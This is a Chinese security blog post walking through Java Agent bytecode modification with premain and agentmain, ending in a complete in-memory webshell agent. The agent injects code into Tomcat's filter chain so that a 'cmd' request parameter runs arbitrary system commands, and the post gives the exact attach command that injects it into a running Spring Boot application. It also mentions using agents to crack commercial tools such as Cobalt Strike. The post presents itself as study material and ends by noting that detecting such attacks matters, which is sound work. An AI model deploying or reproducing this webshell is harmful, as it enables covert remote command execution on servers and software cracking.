今天看到一篇文章,写的是关于JAVA Agent相关的资料(附1),里面提到了Java Agent的两种实现方法:
实现premain方法,在JVM启动前加载
实现agentmain方法,在JVM启动后attach加载
因为最近流行破解CobaltStrike不再直接使用反编译打包源码了,而是使用JAVA Agent进行提前字节码修改。并且文章中也提到了javassist工具,我之前也用过javassist工具进行破解过Charles,因此抱着学习和复习的态度来复现下本文提到的技术点。
Java Agent简单说就是一种可以修改jar字节码的技术,我们来复现下上述提到的两种方法。
通过实现premain方法,并在启动jar时添加-javaagent:agent.jar即可进行字节码修改。首先我们创建一个正常输出、测试用的JAVA程序,hello.jar:
package com.test; public class Hello { public static void main(String[] args) { hello(); } public static void hello(){ for (int i = 0; i < 1000; i++) { System.out.println("hello"); try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } } } }
生成jar包:
Build -> Build Artifacts -> Build
正常运行jar包得到如下输出:
java -jar hello.jar
接下来编写一个实现premain方法的JAVA程序:
package com.test; import java.lang.instrument.Instrumentation; public class premainagent { public static void premain(String args, Instrumentation inst) throws Exception{ for (int i = 0; i < 10; i++) { System.out.println("hello I`m premain agent!!!"); } } }
并在MANIFEST.MF添加一行:
Premain-Class: com.test.premainagent
生成jar包并加载执行:
java -javaagent:premainagent.jar -jar hello.jar
可以看到,成功的在hello.jar本身结果输出前输出了premain方法的内容:
前面也提到现在破解CobaltStrike流行用JAVA Agent技术,我们看下破解工具的源码,能发现确实用的也是premain方法进行的破解:
但是有些JVM已经启动了,不好去让他重启,因此这个时候agentmain就派上用场了,可以方便的attach对应的进程进行字节码的修改。
编写一个实现了agentmain方法的JAVA程序:
package com.test; import java.lang.instrument.Instrumentation; public class agentmaintest { public static void agentmain(String agentArgs, Instrumentation inst) { for (int i = 0; i < 10; i++) { System.out.println("hello I`m agentMain!!!"); } } }
并在MANIFEST.MF添加一行:
Agent-Class: com.test.agentmaintest
生成jar包。
再编写一个attach程序(附2):
import com.sun.tools.attach.*; import java.io.IOException; import java.util.List; public class TestAgentMain { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException{ //获取当前系统中所有 运行中的 虚拟机 System.out.println("running JVM start "); List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list) { System.out.println(vmd.displayName()); String aim = args[0];//你的jar包 if (vmd.displayName().endsWith(aim)) { System.out.println(String.format("find %s, process id %s", vmd.displayName(), vmd.id())); VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent(args[1]);//你想要加载的agentmain包 virtualMachine.detach(); } } } }
生成jar包。
依然尝试对hello.jar进行字节码的修改,但是这次是运行着的hello.jar:
首先运行hello.jar:
java -jar hello.jar
对hello.jar进行启动后的attach加载:
java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain hello.jar agentmaintest.jar
发现成功在hello.jar运行过程中进行了字节码修改:
既然可以修改某个方法的实现,那如果修改spring boot的Filter是否就可以实现一个Filter内存马?这里通过修改org.apache.catalina.core.ApplicationFilterChain#doFilter来达到实现内存马的目的。
依然实现一个agentmain方法,只是这次agentmain方法中不再是System.out.println了,而是接收request的值来执行命令。一开始跟着前文提到的方法进行复现,发现有一些问题,比如attach后会爆Caused by: java.lang.ClassNotFoundException: org.apache.catalina.core.ApplicationFilterChain
得加上这两句:
ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
除了上面agentmain章节中提到的,在MANIFEST.MF中添加一行Agent-Class,还要添加一行:
Can-Retransform-Classes: true
且最后执行命令的JAVA代码,申明变量类型时得是完整路径,如InputStream得变成java.io.InputStream。最终代码如下:
package com.test; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; import javassist.*; import java.lang.instrument.UnmodifiableClassException; import java.lang.instrument.IllegalClassFormatException; import java.io.IOException; import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException; import java.security.ProtectionDomain; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javassist.NotFoundException; public class memshell { public static void agentmain(String agentArgs, Instrumentation instrumentation) throws ClassNotFoundException, UnmodifiableClassException { instrumentation.addTransformer(new ClassFileTransformer() { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfile Buffer){ System.out.println("premain load Class2:" + className); if(!"org/apache/catalina/core/ApplicationFilterChain".equals (className)){ System.out.println("nonononononono"); return null; }else { try { System.out.println("tryyyyyyyy"); ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(new LoaderClassPath (Thread.currentThread().getContextClassLoader())); if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain"); CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter"); String source = "{javax.servlet.http.HttpServletRequest request = $1;" + "javax.servlet.http.HttpServletResponse response = $2;" + "request.setCharacterEncoding(\"UTF-8\");" + "String result = \"\";" + "String password = request.getParameter(\"password\");" + "if (password != null && password.equals(\"xxxxxx\")) {" + "String cmd = request.getParameter(\"cmd\");" + "if (cmd != null && cmd.length() > 0) {" + "java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" + "java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();" + "byte[] b = new byte[1024];" + "int a = -1;" + "while ((a = in.read(b)) != -1) {" + "baos.write(b, 0, a);" + "}" + "response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");" + "}" + "}}"; ctMethod.insertBefore(source); System.out.println("okokkkkkkkkkkkkkkkkkkkkkkkkkkkkk"); byte[] byteCode = ctClass.toBytecode(); ctClass.detach(); return byteCode; } catch (Exception e) { e.printStackTrace(); } return null; } } },true); instrumentation.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain")); } }
打包成jar,然后启动spring boot:
开始注入:
java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain demo-0.0.1-SNAPSHOT.jar memshell.jar
成功执行命令:
本文借着公开的文章学习了Java Agent相关技术,分别对JVM运行前和运行后的字节码修改进行了复现,现在JAVA内存马越来越流行,借着反序列化等漏洞可以悄无声息的上一个Webshell,如何发现此类攻击手段也是一个重要战场。
附1:https://xz.aliyun.com/t/9450
附2:https://blog.csdn.net/qq_41874930/article/details/121284684
本文作者:合天网安实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/171182.html